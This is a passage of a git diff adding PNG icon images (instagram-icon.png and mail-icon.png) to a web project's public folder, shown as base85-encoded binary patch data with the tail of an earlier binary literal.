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

literal 0
HcmV?d00001

diff --git a/public/images/instagram-icon.png b/public/images/instagram-icon.png
new file mode 100644
index 0000000000000000000000000000000000000000..0c2ba2c3ed58cc79d12ccd809f62d3d960bdfe31
GIT binary patch
literal 1929
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
Y&>ikx|6L$(BB*loboFyt=akR{0HK^9+W-In

literal 0
HcmV?d00001

diff --git a/public/images/mail-icon.png b/public/images/mail-icon.png
new file mode 100644
index 0000000000000000000000000000000000000000..ff44b66a9b6cd1fcca8a81259c1018d39d7df749
GIT binary patch
literal 1296
zcmeAS@N?(olHy`uVBq!ia0y~yV31*8U=ZVAV_;yoJnhdX1_lPn64!{5;QX|b^2DN4
z2FH~Aq*MjZ+{E<Mpwz^a%EFVWHVh2RN|_-MB@w<pR>}FfdWj%4dKI|^3?N`*Ur~^l
zoSj;tkd&I9nP;o?e)oPQh0GLNrEpVU1K$GY)Qn7zs-o23D!-8As_bOT6eW8*1)B=1
zirj+S)RIJnirk#MVyg;UC9t_xdBs*BVSOb9u#%E&TP292B76fBob!uP6-@Pvb(0MY
z4HeAH^bAc*&CCpS6pRcEjr0wS^bO2(4Na^}&8&>f6`(-LPQj)qCCw_x#SLm#QA(Pv
zQbtKhft9{~d3m{Bxv^e;QM$gNrKKgv3?n1mqLeh<;>x^|#0uTKVr7^KE~&-IMVSR9
znfZANAQKal@=Hr>m6V{yR^%4Ijm;~D22*l=u6{*gfxe-h0mw@bzvdSB`r=obn+sQ6
zToROua4%Mai$f|4QuTvUi}Op1l2e0H)09DODzI`cN=+=uFAB-e&w+(vKt_H^esM;A
zfr4|enSw@mW?o8ud9fx~y|1s8XI^nhVqS8pr;DvpMQ(v!W@d_&tEscGsi~`*vxTLZ
zp`oj#g|VxJrIDqfnVYMjk(rwrOs`9Ra%paAUI|QZ3S6(70ZzT3qyP#IE0@%w%(B!J
zx1#)91+bT`GI6`b1*dsXy(u`|;_8Z1ufCmvjXo%1ks=x<6y)LtVuI5oD1F)~AQFCR
zUW%<!k&?Y#U(Wtn3=E7do-U3d6}OW9{C?iA!pwYFN#Pn}lA6N5^A52GIF9^p_+ccl
z+<-~<4rj^^!wc+l*du?;Z|q|bX_0@CaX))P>(-Jj8{|cnC>&!`__lmw>hGB|X3m|l
